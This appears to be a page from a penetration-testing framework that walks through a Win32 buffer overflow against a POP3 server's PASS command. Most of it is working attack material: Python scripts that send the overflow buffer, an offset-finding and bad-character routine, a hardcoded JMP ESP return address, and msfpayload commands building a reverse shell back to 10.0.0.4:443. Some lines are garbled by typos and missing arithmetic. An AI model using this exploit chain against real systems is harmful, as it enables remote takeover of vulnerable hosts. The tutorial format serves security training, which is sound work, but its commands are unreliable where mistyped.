Lockdoor Framework

A Penetration Testing Framework

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Win32 Buffer Overflow Exploitation

Replicating the Crash

#!/usr/bin/python
import socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
buffer = 'A' * 2700
try:
  print "\nSending evil buffer..."
  s.connect(('10.0.0.22',110))
  data = s.recv(1024)
  s.send('USER username' +'\r\n')
  data = s.recv(1024)
  s.send('PASS ' + buffer + '\r\n')
  print "\nDone!."
except:
  print "Could not connect to POP3!"

Controlling EIP

Binary Tree Analysis

Sending a Unique String

>> locate pattern_create
> /usr/share/metasploit-framework/tools/patte_create.rb 2700

EIP Overwritten by the Unique Pattern

>> /usr/share/metasploit-framework/tools/pattern_offset.rb 39694438
# running resutl :[*] Exact match at offset 2606
buffer = "A" * 2606 + "B" * 4 + "C" * 90

EIP is Controlled

Locating Space for Your Shellcode

ESP is Pointing to the Buffer of C'ʹs

buffer = "A" * 2606 + "B" * 4 + "C" * (3500  2606 - 4)

Our Increased Buffer Length is Successful

Checking for Bad Characters

#!/usr/bin/python
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
badchars = ( "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")

buffer="A"*2606 + "B"*4 + badchars

try:
  print "\nSending evil buffer..."
  s.connect(('10.0.0.22',110))
  data = s.recv(1024)
  s.send('USER username' +'\r\n')
  data  = s.recv(1024)
  s.send('PASS ' + buffer + '\r\n')
  s.close()
  print "\nDone!"
except:
  print "Could not connect to POP3!"

The Buffer is Truncated

Our Buffer is Still Corrupted

Redirecting the Execution Flow

Finding a Return Address

  1. No memory protections such as DEP and ASLR present.
  2. Has a memory range that does not contain bad characters

The Output of the !mona modules Command

Inspecting the DLL Memory Mapping

>> /usr/share/metasploit-­‐framework/tools/nasm_shell.rb
nasm > jmp esp
# result : 00000000 FFE4           jmp esp

Searching for a JMP ESP Instruction

Verifying the JMP ESP Address

buffer = "A" * 2606 + "\x8f\x35\x4a\x5f" + "C" * 390

The JMP ESP Breakpoint is Reached

Generating Shellcode with Metasploit

>> msfpayload –l
># The msfpayload script will generate C formatted (C parameter) shellcode
> msfpayload windows/shell_reverse_tcp LHOST=10.0.0.4 LPORT=443 C
>> msfpayload windows/shell_reverse_tcp LHOST=10.0.0.4 LPORT=443 R | msfencode -b "\x00\x0a\x0d"